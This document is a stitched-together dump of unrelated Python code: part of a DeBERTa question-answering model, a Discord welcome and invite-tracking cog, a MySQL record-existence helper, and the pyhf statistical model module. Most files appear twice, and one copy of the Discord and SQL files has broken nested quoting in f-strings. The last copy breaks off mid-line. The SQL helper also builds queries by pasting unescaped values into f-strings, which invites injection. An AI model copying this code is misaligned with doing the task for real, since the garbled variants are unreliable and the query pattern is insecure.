computing the loss. """ return_dict = return_dict if return_dict is not None else self.config.use_return_dict outputs = self.deberta( input_ids, attention_mask=attention_mask, token_type_ids=token_type_ids, position_ids=position_ids, inputs_embeds=inputs_embeds, output_attentions=output_attentions, output_hidden_states=output_hidden_states, return_dict=return_dict, ) sequence_output = outputs[0] logits = self.qa_outputs(sequence_output) start_logits, end_logits = logits.split(1, dim=-1) start_logits = start_logits.squeeze(-1) end_logits = end_logits.squeeze(-1) total_loss = None if start_positions is not None and end_positions is not None: # If we are on multi-GPU, split add a dimension if len(start_positions.size()) > 1: start_positions = start_positions.squeeze(-1) if len(end_positions.size()) > 1: end_positions = end_positions.squeeze(-1) # sometimes the start/end positions are outside our model inputs, we ignore these terms ignored_index = start_logits.size(1) start_positions.clamp_(0, ignored_index) end_positions.clamp_(0, ignored_index) loss_fct = CrossEntropyLoss(ignore_index=ignored_index) start_loss = loss_fct(start_logits, start_positions) end_loss = loss_fct(end_logits, end_positions) total_loss = (start_loss + end_loss) / 2 if not return_dict: output = (start_logits, end_logits) + outputs[1:] return ((total_loss,) + output) if total_loss is not None else output return QuestionAnsweringModelOutput( loss=total_loss, start_logits=start_logits, end_logits=end_logits, hidden_states=outputs.hidden_states, attentions=outputs.attentions, )
import discord from discord.ext import commands from PIL import Image, ImageFont, ImageFilter, ImageDraw from io import BytesIO import os def get_invite_by_code(invites, code): for i in invites: if i.code == code: return i class InviteTrackingSystem(commands.Cog): def __init__(self, client): self.client = client self.channels = { 'log': 0, 'welcome': 0 } self.invites = {} client.loop.create_task(self.cache()) async def cache(self): await self.client.wait_until_ready() for guild in self.client.guilds: try: self.invites[guild.id] = await guild.invites() except: pass @commands.Cog.listener() async def on_member_join(self, member: discord.Member): logchannel = await self.client.fetch_channel(self.channels['log']) welcomechannel = await self.client.fetch_channel(self.channels['welcome']) embed = discord.Embed( description='Присоединился к серверу', color=0x98d8ff, timestamp=member.joined_at ) embed.set_author(name=str(member), icon_url=member.avatar.url) embed.set_footer(text=f'ID: {member.id}') try: before = self.invites[member.guild.id] after = await member.guild.invites() self.invites[member.guild.id] = after for i in before: if i.uses < get_invite_by_code(after, i.code).uses: if i != member.guild.vanity_invite: v = f'Пригласил: {i.inviter.mention} (`{i.inviter}` | `{i.inviter.id}`)\nКод: `{i.code}`\nИспользований: ` {i.uses+1} `' else: v = f'Персональный URL сервера: `{str(member.guild.vanity_invite)}`\nИспользований: `{i.uses}`' embed.add_field( name='Информация о приглашении', value=v ) except: embed.add_field( name='Информация о приглашении', value='Приглашение удалено либо информация о нем недоступна' ) image = Image.open("assets/bg.jpg") img = image.resize((400, 200)) idraw = ImageDraw.Draw(img) f_name = ImageFont.truetype('assets/open-sans.ttf', size = 20) f_plain = ImageFont.truetype('assets/pt-sans-bold-italic.ttf', size = 20) f_welcome = ImageFont.truetype('assets/micra.ttf', size=19) idraw.text((30, 8), 'Добро пожаловать!', font=f_welcome, fill=0x56b5ff) idraw.text((90, 50), str(member) if len(str(member)) < 27 else f'{member.name[0:24]+'...#'+member.discriminator}', font=f_name, fill=0x919cff) idraw.text((90, 75), f'Ты {member.guild.member_count}-й участник', font=f_name, fill=0x919cff) idraw.text((10, 120), 'Желаем приятно провести время!', font=f_plain, fill=0xbf91ff) idraw.text((10, 150), f'Аккаунт создан: {member.created_at.strftime('%d/%m/%Y, %H:%M')}', font=f_plain, fill=0xbf91ff) avatar = member.avatar.replace(size=128) avt = BytesIO(await avatar.read()) imga = Image.open(avt) imguser = imga.resize((75, 75)) img.paste(imguser, (10, 35)) img.save("u.jpg") await logchannel.send(embed=embed) await welcomechannel.send(member.mention, file=discord.File('u.jpg')) if os.path.exists('u.jpg'): os.remove('u.jpg') @commands.command() @commands.is_owner() async def fe(self, ctx): await ctx.send('\n'.join([f'{i.code} {i.inviter.id}' for i in await ctx.guild.invites()])) @commands.Cog.listener() async def on_member_remove(self, member): welcomechannel = await self.client.fetch_channel(self.channels['welcome']) embed = discord.Embed( description='Покинул сервер', color=0xce94ff, timestamp=member.joined_at ) embed.set_author(name=str(member), icon_url=member.avatar.url) embed.set_footer(text=f"ID: {member.id}") await welcomechannel.send(embed=embed) @commands.Cog.listener() async def on_guild_join(self, guild): try: self.invites[guild.id] = await guild.invites() except: pass @commands.Cog.listener() async def on_guild_remove(self, guild): try: self.invites.pop(guild.id) except: pass def setup(client): client.add_cog(InviteTrackingSystem(client))
import discord from discord.ext import commands from PIL import Image, ImageFont, ImageFilter, ImageDraw from io import BytesIO import os def get_invite_by_code(invites, code): for i in invites: if i.code == code: return i class InviteTrackingSystem(commands.Cog): def __init__(self, client): self.client = client self.channels = { 'log': 0, 'welcome': 0 } self.invites = {} client.loop.create_task(self.cache()) async def cache(self): await self.client.wait_until_ready() for guild in self.client.guilds: try: self.invites[guild.id] = await guild.invites() except: pass @commands.Cog.listener() async def on_member_join(self, member: discord.Member): logchannel = await self.client.fetch_channel(self.channels['log']) welcomechannel = await self.client.fetch_channel(self.channels['welcome']) embed = discord.Embed( description='Присоединился к серверу', color=0x98d8ff, timestamp=member.joined_at ) embed.set_author(name=str(member), icon_url=member.avatar.url) embed.set_footer(text=f'ID: {member.id}') try: before = self.invites[member.guild.id] after = await member.guild.invites() self.invites[member.guild.id] = after for i in before: if i.uses < get_invite_by_code(after, i.code).uses: if i != member.guild.vanity_invite: v = f'Пригласил: {i.inviter.mention} (`{i.inviter}` | `{i.inviter.id}`)\nКод: `{i.code}`\nИспользований: ` {i.uses+1} `' else: v = f'Персональный URL сервера: `{str(member.guild.vanity_invite)}`\nИспользований: `{i.uses}`' embed.add_field( name='Информация о приглашении', value=v ) except: embed.add_field( name='Информация о приглашении', value='Приглашение удалено либо информация о нем недоступна' ) image = Image.open("assets/bg.jpg") img = image.resize((400, 200)) idraw = ImageDraw.Draw(img) f_name = ImageFont.truetype('assets/open-sans.ttf', size = 20) f_plain = ImageFont.truetype('assets/pt-sans-bold-italic.ttf', size = 20) f_welcome = ImageFont.truetype('assets/micra.ttf', size=19) idraw.text((30, 8), 'Добро пожаловать!', font=f_welcome, fill=0x56b5ff) idraw.text((90, 50), str(member) if len(str(member)) < 27 else f'{member.name[0:24]+"...#"+member.discriminator}', font=f_name, fill=0x919cff) idraw.text((90, 75), f'Ты {member.guild.member_count}-й участник', font=f_name, fill=0x919cff) idraw.text((10, 120), 'Желаем приятно провести время!', font=f_plain, fill=0xbf91ff) idraw.text((10, 150), f'Аккаунт создан: {member.created_at.strftime("%d/%m/%Y, %H:%M")}', font=f_plain, fill=0xbf91ff) avatar = member.avatar.replace(size=128) avt = BytesIO(await avatar.read()) imga = Image.open(avt) imguser = imga.resize((75, 75)) img.paste(imguser, (10, 35)) img.save("u.jpg") await logchannel.send(embed=embed) await welcomechannel.send(member.mention, file=discord.File('u.jpg')) if os.path.exists('u.jpg'): os.remove('u.jpg') @commands.command() @commands.is_owner() async def fe(self, ctx): await ctx.send('\n'.join([f'{i.code} {i.inviter.id}' for i in await ctx.guild.invites()])) @commands.Cog.listener() async def on_member_remove(self, member): welcomechannel = await self.client.fetch_channel(self.channels['welcome']) embed = discord.Embed( description='Покинул сервер', color=0xce94ff, timestamp=member.joined_at ) embed.set_author(name=str(member), icon_url=member.avatar.url) embed.set_footer(text=f"ID: {member.id}") await welcomechannel.send(embed=embed) @commands.Cog.listener() async def on_guild_join(self, guild): try: self.invites[guild.id] = await guild.invites() except: pass @commands.Cog.listener() async def on_guild_remove(self, guild): try: self.invites.pop(guild.id) except: pass def setup(client): client.add_cog(InviteTrackingSystem(client))
"""This module is to build functions that check if a record already existed in the database""" from src_files.config import config def is_exist(crit_name, crit_value, tb_name): """ This function check if a record already existed in the database, with single field identifier. :param crit_name: str, the field name for identification :param crit_value: str/int, the value for identification :param tb_name: str, the name of the table :return: Boolean, True: record exist, False: record not exist """ sql = f"""SELECT EXISTS( SELECT * FROM {tb_name} WHERE {crit_name} = {f""{crit_value}"" if type(crit_value) != int else crit_value}) AS result""" if not config.is_connected(): config.reconnect() with config.connection as connection: with connection.cursor() as cursor: cursor.execute(f"USE {config.mysql_connection["database"]}") cursor.execute(sql) if not int(cursor.fetchall()[0]["result"]): return False else: return True def is_exist_double(crit1, crit2, tb_name): """ This function check if a record already existed in the database, with double field identifiers. :param crit1: tuple, First identifier, position 0: str, the field name for identification, position 1: str, the value for identification :param crit2: tuple, Second identifier, position 0: str, the field name for identification, position 1: str, the value for identification :param tb_name: str, the name of the table :return: Boolean: True: record exist, False: record not exist """ sql = f"""SELECT EXISTS( SELECT * FROM {tb_name} WHERE {crit1[0]} = {f""{crit1[1]}"" if type(crit1[1]) != int else crit1[1]} AND {crit2[0]} = {f""{crit2[1]}"" if type(crit2[1]) != int else crit2[1]}) AS result""" if not config.connection.open: config.reconnect() with config.connection as connection: with connection.cursor() as cursor: cursor.execute(f"USE {config.mysql_connection["database"]}") cursor.execute(sql) res = cursor.fetchall()[0]["result"] if not int(res): return False else: return True
"""This module is to build functions that check if a record already existed in the database""" from src_files.config import config def is_exist(crit_name, crit_value, tb_name): """ This function check if a record already existed in the database, with single field identifier. :param crit_name: str, the field name for identification :param crit_value: str/int, the value for identification :param tb_name: str, the name of the table :return: Boolean, True: record exist, False: record not exist """ sql = f"""SELECT EXISTS( SELECT * FROM {tb_name} WHERE {crit_name} = {f"'{crit_value}'" if type(crit_value) != int else crit_value}) AS result""" if not config.is_connected(): config.reconnect() with config.connection as connection: with connection.cursor() as cursor: cursor.execute(f"USE {config.mysql_connection['database']}") cursor.execute(sql) if not int(cursor.fetchall()[0]["result"]): return False else: return True def is_exist_double(crit1, crit2, tb_name): """ This function check if a record already existed in the database, with double field identifiers. :param crit1: tuple, First identifier, position 0: str, the field name for identification, position 1: str, the value for identification :param crit2: tuple, Second identifier, position 0: str, the field name for identification, position 1: str, the value for identification :param tb_name: str, the name of the table :return: Boolean: True: record exist, False: record not exist """ sql = f"""SELECT EXISTS( SELECT * FROM {tb_name} WHERE {crit1[0]} = {f"'{crit1[1]}'" if type(crit1[1]) != int else crit1[1]} AND {crit2[0]} = {f"'{crit2[1]}'" if type(crit2[1]) != int else crit2[1]}) AS result""" if not config.connection.open: config.reconnect() with config.connection as connection: with connection.cursor() as cursor: cursor.execute(f"USE {config.mysql_connection['database']}") cursor.execute(sql) res = cursor.fetchall()[0]["result"] if not int(res): return False else: return True
"""The main module of pyhf.""" import copy import logging from . import get_backend, default_backend from . import exceptions from . import modifiers from . import utils from . import events from . import probability as prob from .constraints import gaussian_constraint_combined, poisson_constraint_combined from .parameters import reduce_paramsets_requirements, ParamViewer from .tensor.common import _TensorViewer, _tensorviewer_from_sizes from .mixins import _ChannelSummaryMixin log = logging.getLogger(__name__) def _paramset_requirements_from_channelspec(spec, channel_nbins): # bookkeep all requirements for paramsets we need to build _paramsets_requirements = {} # need to keep track in which order we added the constraints # so that we can generate correctly-ordered data for channel in spec['channels']: for sample in channel['samples']: if len(sample['data']) != channel_nbins[channel['name']]: raise exceptions.InvalidModel( 'The sample {0:s} has {1:d} bins, but the channel it belongs to ({2:s}) has {3:d} bins.'.format( sample['name'], len(sample['data']), channel['name'], channel_nbins[channel['name']], ) ) for modifier_def in sample['modifiers']: # get the paramset requirements for the given modifier. If # modifier does not exist, we'll have a KeyError try: paramset_requirements = modifiers.registry[ modifier_def['type'] ].required_parset(sample['data'], modifier_def['data']) except KeyError: log.exception( 'Modifier not implemented yet (processing {0:s}). Available modifiers: {1}'.format( modifier_def['type'], modifiers.registry.keys() ) ) raise exceptions.InvalidModifier() # check the shareability (e.g. for shapesys for example) is_shared = paramset_requirements['is_shared'] if not (is_shared) and modifier_def['name'] in _paramsets_requirements: raise ValueError( "Trying to add unshared-paramset but other paramsets exist with the same name." ) if is_shared and not ( _paramsets_requirements.get( modifier_def['name'], [{'is_shared': True}] )[0]['is_shared'] ): raise ValueError( "Trying to add shared-paramset but other paramset of same name is indicated to be unshared." ) _paramsets_requirements.setdefault(modifier_def['name'], []).append( paramset_requirements ) return _paramsets_requirements def _paramset_requirements_from_modelspec(spec, channel_nbins): _paramsets_requirements = _paramset_requirements_from_channelspec( spec, channel_nbins ) # build up a dictionary of the parameter configurations provided by the user _paramsets_user_configs = {} for parameter in spec.get('parameters', []): if parameter['name'] in _paramsets_user_configs: raise exceptions.InvalidModel( 'Multiple parameter configurations for {} were found.'.format( parameter['name'] ) ) _paramsets_user_configs[parameter.pop('name')] = parameter _reqs = reduce_paramsets_requirements( _paramsets_requirements, _paramsets_user_configs ) _sets = {} for param_name, paramset_requirements in _reqs.items(): paramset_type = paramset_requirements.get('paramset_type') paramset = paramset_type(**paramset_requirements) _sets[param_name] = paramset return _sets def _nominal_and_modifiers_from_spec(config, spec): default_data_makers = { 'histosys': lambda: {'hi_data': [], 'lo_data': [], 'nom_data': [], 'mask': [],}, 'lumi': lambda: {'mask': []}, 'normsys': lambda: {'hi': [], 'lo': [], 'nom_data': [], 'mask': []}, 'normfactor': lambda: {'mask': []}, 'shapefactor': lambda: {'mask': []}, 'shapesys': lambda: {'mask': [], 'uncrt': [], 'nom_data': []}, 'staterror': lambda: {'mask': [], 'uncrt': [], 'nom_data': []}, } # the mega-channel will consist of mega-samples that subscribe to # mega-modifiers. i.e. while in normal histfactory, each sample might # be affected by some modifiers and some not, here we change it so that # samples are affected by all modifiers, but we set up the modifier # data such that the application of the modifier does not actually # change the bin value for bins that are not originally affected by # that modifier # # We don't actually set up the modifier data here for no-ops, but we do # set up the entire structure mega_mods = {} for m, mtype in config.modifiers: for s in config.samples: key = '{}/{}'.format(mtype, m) mega_mods.setdefault(key, {})[s] = { 'type': mtype, 'name': m, 'data': default_data_makers[mtype](), } # helper maps channel-name/sample-name to pairs of channel-sample structs helper = {} for c in spec['channels']: for s in c['samples']: helper.setdefault(c['name'], {})[s['name']] = (c, s) mega_samples = {} for s in config.samples: mega_nom = [] for c in config.channels: defined_samp = helper.get(c, {}).get(s) defined_samp = None if not defined_samp else defined_samp[1] # set nominal to 0 for channel/sample if the pair doesn't exist nom = ( defined_samp['data'] if defined_samp else [0.0] * config.channel_nbins[c] ) mega_nom += nom defined_mods = ( { '{}/{}'.format(x['type'], x['name']): x for x in defined_samp['modifiers'] } if defined_samp else {} ) for m, mtype in config.modifiers: key = '{}/{}'.format(mtype, m) # this is None if modifier doesn't affect channel/sample. thismod = defined_mods.get(key) # print('key',key,thismod['data'] if thismod else None) if mtype == 'histosys': lo_data = thismod['data']['lo_data'] if thismod else nom hi_data = thismod['data']['hi_data'] if thismod else nom maskval = True if thismod else False mega_mods[key][s]['data']['lo_data'] += lo_data mega_mods[key][s]['data']['hi_data'] += hi_data mega_mods[key][s]['data']['nom_data'] += nom mega_mods[key][s]['data']['mask'] += [maskval] * len( nom ) # broadcasting elif mtype == 'normsys': maskval = True if thismod else False lo_factor = thismod['data']['lo'] if thismod else 1.0 hi_factor = thismod['data']['hi'] if thismod else 1.0 mega_mods[key][s]['data']['nom_data'] += [1.0] * len(nom) mega_mods[key][s]['data']['lo'] += [lo_factor] * len( nom ) # broadcasting mega_mods[key][s]['data']['hi'] += [hi_factor] * len(nom) mega_mods[key][s]['data']['mask'] += [maskval] * len( nom ) # broadcasting elif mtype in ['normfactor', 'shapefactor', 'lumi']: maskval = True if thismod else False mega_mods[key][s]['data']['mask'] += [maskval] * len( nom ) # broadcasting elif mtype in ['shapesys', 'staterror']: uncrt = thismod['data'] if thismod else [0.0] * len(nom) if mtype == 'shapesys': maskval = [(x > 0 and y > 0) for x, y in zip(uncrt, nom)] else: maskval = [True if thismod else False] * len(nom) mega_mods[key][s]['data']['mask'] += maskval mega_mods[key][s]['data']['uncrt'] += uncrt mega_mods[key][s]['data']['nom_data'] += nom sample_dict = {'name': 'mega_{}'.format(s), 'nom': mega_nom} mega_samples[s] = sample_dict nominal_rates = default_backend.astensor( [mega_samples[s]['nom'] for s in config.samples] ) _nominal_rates = default_backend.reshape( nominal_rates, ( 1, # modifier dimension.. nominal_rates is the base len(config.samples), 1, # alphaset dimension sum(list(config.channel_nbins.values())), ), ) return mega_mods, _nominal_rates class _ModelConfig(_ChannelSummaryMixin): def __init__(self, spec, **config_kwargs): super(_ModelConfig, self).__init__(channels=spec['channels']) _required_paramsets = _paramset_requirements_from_modelspec( spec, self.channel_nbins ) poi_name = config_kwargs.pop('poi_name', 'mu') default_modifier_settings = {'normsys': {'interpcode': 'code1'}} self.modifier_settings = config_kwargs.pop( 'modifier_settings', default_modifier_settings ) if config_kwargs: raise KeyError( f"""Unexpected keyword argument(s): '{"", "".join(config_kwargs.keys())}'""" ) self.par_map = {} self.par_order = [] self.poi_name = None self.poi_index = None self.auxdata = [] self.auxdata_order = [] self._create_and_register_paramsets(_required_paramsets) self.set_poi(poi_name) self.npars = len(self.suggested_init()) self.nmaindata = sum(self.channel_nbins.values()) def suggested_init(self): init = [] for name in self.par_order: init = init + self.par_map[name]['paramset'].suggested_init return init def suggested_bounds(self): bounds = [] for name in self.par_order: bounds = bounds + self.par_map[name]['paramset'].suggested_bounds return bounds def par_slice(self, name): return self.par_map[name]['slice'] def param_set(self, name): return self.par_map[name]['paramset'] def set_poi(self, name): if name not in [x for x, _ in self.modifiers]: raise exceptions.InvalidModel( "The parameter of interest '{0:s}' cannot be fit as it is not declared in the model specification.".format( name ) ) s = self.par_slice(name) assert s.stop - s.start == 1 self.poi_name = name self.poi_index = s.start def _create_and_register_paramsets(self, required_paramsets): next_index = 0 for param_name, paramset in required_paramsets.items(): log.info( 'adding modifier %s (%s new nuisance parameters)', param_name, paramset.n_parameters, ) sl = slice(next_index, next_index + paramset.n_parameters) next_index = next_index + paramset.n_parameters self.par_order.append(param_name) self.par_map[param_name] = {'slice': sl, 'paramset': paramset} class _ConstraintModel(object): """Factory class to create pdfs for the constraint terms.""" def __init__(self, config, batch_size): self.batch_size = batch_size self.config = config self.constraints_gaussian = gaussian_constraint_combined( config, batch_size=self.batch_size ) self.constraints_poisson = poisson_constraint_combined( config, batch_size=self.batch_size ) self.viewer_aux = ParamViewer( (self.batch_size or 1, self.config.npars), self.config.par_map, self.config.auxdata_order, ) assert self.constraints_gaussian.batch_size == self.batch_size assert self.constraints_poisson.batch_size == self.batch_size indices = [] if self.constraints_gaussian.has_pdf(): indices.append(self.constraints_gaussian._normal_data) if self.constraints_poisson.has_pdf(): indices.append(self.constraints_poisson._poisson_data) if self.has_pdf(): self.constraints_tv = _TensorViewer(indices, self.batch_size) def has_pdf(self): """ Indicate whether this model has a constraint. Returns: Bool: Whether the model has a constraint term """ return self.constraints_gaussian.has_pdf() or self.constraints_poisson.has_pdf() def make_pdf(self, pars): """ Construct a pdf object for a given set of parameter values. Args: pars (`tensor`): The model parameters Returns: pdf: A distribution object implementing the constraint pdf of HistFactory. Either a Poissonn, a Gaussian or a joint pdf of both depending on the constraints used in the specification. """ pdfobjs = [] gaussian_pdf = self.constraints_gaussian.make_pdf(pars) if gaussian_pdf: pdfobjs.append(gaussian_pdf) poisson_pdf = self.constraints_poisson.make_pdf(pars) if poisson_pdf: pdfobjs.append(poisson_pdf) if pdfobjs: simpdf = prob.Simultaneous(pdfobjs, self.constraints_tv, self.batch_size) return simpdf def logpdf(self, auxdata, pars): """ Compute the logarithm of the value of the probability density. Args: auxdata (`tensor`): The auxiliary data (a subset of the full data in a HistFactory model) pars (`tensor`): The model parameters Returns: Tensor: The log of the pdf value """ simpdf = self.make_pdf(pars) return simpdf.log_prob(auxdata) class _MainModel(object): """Factory class to create pdfs for the main measurement.""" def __init__(self, config, mega_mods, nominal_rates, batch_size): self.config = config self._factor_mods = [ modtype for modtype, mod in modifiers.uncombined.items() if mod.op_code == 'multiplication' ] self._delta_mods = [ modtype for modtype, mod in modifiers.uncombined.items() if mod.op_code == 'addition' ] self.batch_size = batch_size self._nominal_rates = default_backend.tile( nominal_rates, (1, 1, self.batch_size or 1, 1) ) self.modifiers_appliers = { k: c( [x for x in config.modifiers if x[1] == k], # x[1] is mtype config, mega_mods, batch_size=self.batch_size, **config.modifier_settings.get(k, {}), ) for k, c in modifiers.combined.items() } self._precompute() events.subscribe('tensorlib_changed')(self._precompute) def _precompute(self): tensorlib, _ = get_backend() self.nominal_rates = tensorlib.astensor(self._nominal_rates) def has_pdf(self): """ Indicate whether the main model exists. Returns: Bool: Whether the model has a Main Model component (yes it does) """ return True def make_pdf(self, pars): lambdas_data = self._expected_data(pars) return prob.Independent(prob.Poisson(lambdas_data)) def logpdf(self, maindata, pars): """ Compute the logarithm of the value of the probability density. Args: maindata (`tensor`): The main channnel data (a subset of the full data in a HistFactory model) pars (`tensor`): The model parameters Returns: Tensor: The log of the pdf value """ return self.make_pdf(pars).log_prob(maindata) def _modifications(self, pars): deltas = list( filter( lambda x: x is not None, [self.modifiers_appliers[k].apply(pars) for k in self._delta_mods], ) ) factors = list( filter( lambda x: x is not None, [self.modifiers_appliers[k].apply(pars) for k in self._factor_mods], ) ) return deltas, factors def _expected_data(self, pars): """ Compute the expected rates for given values of parameters. For a single channel single sample, we compute: Pois(d | fac(pars) * (delta(pars) + nom) ) * Gaus(a | pars[is_gaus], sigmas) * Pois(a * cfac | pars[is_poi] * cfac) where: - delta(pars) is the result of an apply(pars) of combined modifiers with 'addition' op_code - factor(pars) is the result of apply(pars) of combined modifiers with 'multiplication' op_code - pars[is_gaus] are the subset of parameters that are constrained by gauss (with sigmas accordingly, some of which are computed by modifiers) - pars[is_pois] are the poissons and their rates (they come with their own additional factors unrelated to factor(pars) which are also computed by the finalize() of the modifier) So in the end we only make 3 calls to pdfs 1. The pdf of data and modified rates 2. All Gaussian constraint as one call 3. All Poisson constraints as one call """ tensorlib, _ = get_backend() deltas, factors = self._modifications(pars) allsum = tensorlib.concatenate(deltas + [self.nominal_rates]) nom_plus_delta = tensorlib.sum(allsum, axis=0) nom_plus_delta = tensorlib.reshape( nom_plus_delta, (1,) + tensorlib.shape(nom_plus_delta) ) allfac = tensorlib.concatenate(factors + [nom_plus_delta]) newbysample = tensorlib.product(allfac, axis=0) newresults = tensorlib.sum(newbysample, axis=0) if self.batch_size is None: return newresults[0] return newresults class Model(object): """The main pyhf model class.""" def __init__(self, spec, batch_size=None, **config_kwargs): """ Construct a HistFactory Model. Args: spec (`jsonable`): The HistFactory JSON specification batch_size (`None` or `int`): Number of simultaneous (batched) Models to compute. config_kwargs: Possible keyword arguments for the model configuration Returns: model (`Model`): The Model instance. """ self.batch_size = batch_size self.spec = copy.deepcopy(spec) # may get modified by config self.schema = config_kwargs.pop('schema', 'model.json') self.version = config_kwargs.pop('version', None) # run jsonschema validation of input specification against the (provided) schema log.info("Validating spec against schema: {0:s}".format(self.schema)) utils.validate(self.spec, self.schema, version=self.version) # build up our representation of the specification self.config = _ModelConfig(self.spec, **config_kwargs) mega_mods, _nominal_rates = _nominal_and_modifiers_from_spec( self.config, self.spec ) self.main_model = _MainModel( self.config, mega_mods=mega_mods, nominal_rates=_nominal_rates, batch_size=self.batch_size, ) # this is tricky, must happen before constraint # terms try to access auxdata but after # combined mods have been created that # set the aux data for k in sorted(self.config.par_map.keys()): parset = self.config.param_set(k) if hasattr(parset, 'pdf_type'): # is constrained self.config.auxdata += parset.auxdata self.config.auxdata_order.append(k) self.config.nauxdata = len(self.config.auxdata) self.constraint_model = _ConstraintModel( config=self.config, batch_size=self.batch_size ) sizes = [] if self.main_model.has_pdf(): sizes.append(self.config.nmaindata) if self.constraint_model.has_pdf(): sizes.append(self.config.nauxdata) self.fullpdf_tv = _tensorviewer_from_sizes( sizes, ['main', 'aux'], self.batch_size ) def expected_auxdata(self, pars): """ Compute the expected value of the auxiliary measurements. Args: pars (`tensor`): The parameter values Returns: Tensor: The expected data of the auxiliary pdf """ return self.make_pdf(pars)[1].expected_data() def _modifications(self, pars): return self.main_model._modifications(pars) @property def nominal_rates(self): """Nominal value of bin rates of the main model.""" return self.main_model.nominal_rates def expected_actualdata(self, pars): """ Compute the expected value of the main model. Args: pars (`tensor`): The parameter values Returns: Tensor: The expected data of the main model (no auxiliary data) """ return self.make_pdf(pars)[0].expected_data() def expected_data(self, pars, include_auxdata=True): """ Compute the expected value of the main model Args: pars (`tensor`): The parameter values Returns: Tensor: The expected data of the main and auxiliary model """ tensorlib, _ = get_backend() pars = tensorlib.astensor(pars) if not include_auxdata: return self.make_pdf(pars)[0].expected_data() return self.make_pdf(pars).expected_data() def constraint_logpdf(self, auxdata, pars): """ Compute the log value of the constraint pdf. Args: auxdata (`tensor`): The auxiliary measurement data pars (`tensor`): The parameter values Returns: Tensor: The log density value """ return self.make_pdf(pars)[1].log_prob(auxdata) def mainlogpdf(self, maindata, pars): """ Compute the log value of the main term. Args: maindata (`tensor`): The main measurement data pars (`tensor`): The parameter values Returns: Tensor: The log density value """ return self.make_pdf(pars)[0].log_prob(maindata) def make_pdf(self, pars): """ Construct a pdf object for a given set of parameter values. Args: pars (`tensor`): The model parameters Returns: pdf: A distribution object implementing the main measurement pdf of HistFactory """ tensorlib, _ = get_backend() pdfobjs = [] mainpdf = self.main_model.make_pdf(pars) if mainpdf: pdfobjs.append(mainpdf) constraintpdf = self.constraint_model.make_pdf(pars) if constraintpdf: pdfobjs.append(constraintpdf) simpdf = prob.Simultaneous(pdfobjs, self.fullpdf_tv, self.batch_size) return simpdf def logpdf(self, pars, data): """ Compute the log value of the full density. Args: pars (`tensor`): The parameter values data (`tensor`): The measurement data Returns: Tensor: The log density value """ try: tensorlib, _ = get_backend() pars, data = tensorlib.astensor(pars), tensorlib.astensor(data) # Verify parameter and data shapes if pars.shape[-1] != self.config.npars: raise exceptions.InvalidPdfParameters( 'eval failed as pars has len {} but {} was expected'.format( pars.shape[-1], self.config.npars ) ) if data.shape[-1] != self.nominal_rates.shape[-1] + len( self.config.auxdata ): raise exceptions.InvalidPdfData( 'eval failed as data has len {} but {} was expected'.format( data.shape[-1], self.config.nmaindata + self.config.nauxdata ) ) result = self.make_pdf(pars).log_prob(data) if ( not self.batch_size ): # force to be not scalar, should we changed with #522 return tensorlib.reshape(result, (1,)) return result except: log.error( 'eval failed for data {} pars: {}'.format( tensorlib.tolist(data), tensorlib.tolist(pars) ) ) raise def pdf(self, pars, data): """ Compute the density at a given observed point in data space of the full model. Args: pars (`tensor`): The parameter values data (`tensor`): The measurement data Returns: Tensor: The density value """ tensorlib, _ = get_backend() return tensorlib.exp(self.logpdf(pars, data))
"""The main module of pyhf.""" import copy import logging from . import get_backend, default_backend from . import exceptions from . import modifiers from . import utils from . import events from . import probability as prob from .constraints import gaussian_constraint_combined, poisson_constraint_combined from .parameters import reduce_paramsets_requirements, ParamViewer from .tensor.common import _TensorViewer, _tensorviewer_from_sizes from .mixins import _ChannelSummaryMixin log = logging.getLogger(__name__) def _paramset_requirements_from_channelspec(spec, channel_nbins): # bookkeep all requirements for paramsets we need to build _paramsets_requirements = {} # need to keep track in which order we added the constraints # so that we can generate correctly-ordered data for channel in spec['channels']: for sample in channel['samples']: if len(sample['data']) != channel_nbins[channel['name']]: raise exceptions.InvalidModel( 'The sample {0:s} has {1:d} bins, but the channel it belongs to ({2:s}) has {3:d} bins.'.format( sample['name'], len(sample['data']), channel['name'], channel_nbins[channel['name']], ) ) for modifier_def in sample['modifiers']: # get the paramset requirements for the given modifier. If # modifier does not exist, we'll have a KeyError try: paramset_requirements = modifiers.registry[ modifier_def['type'] ].required_parset(sample['data'], modifier_def['data']) except KeyError: log.exception( 'Modifier not implemented yet (processing {0:s}). Available modifiers: {1}'.format( modifier_def['type'], modifiers.registry.keys() ) ) raise exceptions.InvalidModifier() # check the shareability (e.g. for shapesys for example) is_shared = paramset_requirements['is_shared'] if not (is_shared) and modifier_def['name'] in _paramsets_requirements: raise ValueError( "Trying to add unshared-paramset but other paramsets exist with the same name." ) if is_shared and not ( _paramsets_requirements.get( modifier_def['name'], [{'is_shared': True}] )[0]['is_shared'] ): raise ValueError( "Trying to add shared-paramset but other paramset of same name is indicated to be unshared." ) _paramsets_requirements.setdefault(modifier_def['name'], []).append( paramset_requirements ) return _paramsets_requirements def _paramset_requirements_from_modelspec(spec, channel_nbins): _paramsets_requirements = _paramset_requirements_from_channelspec( spec, channel_nbins ) # build up a dictionary of the parameter configurations provided by the user _paramsets_user_configs = {} for parameter in spec.get('parameters', []): if parameter['name'] in _paramsets_user_configs: raise exceptions.InvalidModel( 'Multiple parameter configurations for {} were found.'.format( parameter['name'] ) ) _paramsets_user_configs[parameter.pop('name')] = parameter _reqs = reduce_paramsets_requirements( _paramsets_requirements, _paramsets_user_configs ) _sets = {} for param_name, paramset_requirements in _reqs.items(): paramset_type = paramset_requirements.get('paramset_type') paramset = paramset_type(**paramset_requirements) _sets[param_name] = paramset return _sets def _nominal_and_modifiers_from_spec(config, spec): default_data_makers = { 'histosys': lambda: {'hi_data': [], 'lo_data': [], 'nom_data': [], 'mask': [],}, 'lumi': lambda: {'mask': []}, 'normsys': lambda: {'hi': [], 'lo': [], 'nom_data': [], 'mask': []}, 'normfactor': lambda: {'mask': []}, 'shapefactor': lambda: {'mask': []}, 'shapesys': lambda: {'mask': [], 'uncrt': [], 'nom_data': []}, 'staterror': lambda: {'mask': [], 'uncrt': [], 'nom_data': []}, } # the mega-channel will consist of mega-samples that subscribe to # mega-modifiers. i.e. while in normal histfactory, each sample might # be affected by some modifiers and some not, here we change it so that # samples are affected by all modifiers, but we set up the modifier # data such that the application of the modifier does not actually # change the bin value for bins that are not originally affected by # that modifier # # We don't actually set up the modifier data here for no-ops, but we do # set up the entire structure mega_mods = {} for m, mtype in config.modifiers: for s in config.samples: key = '{}/{}'.format(mtype, m) mega_mods.setdefault(key, {})[s] = { 'type': mtype, 'name': m, 'data': default_data_makers[mtype](), } # helper maps channel-name/sample-name to pairs of channel-sample structs helper = {} for c in 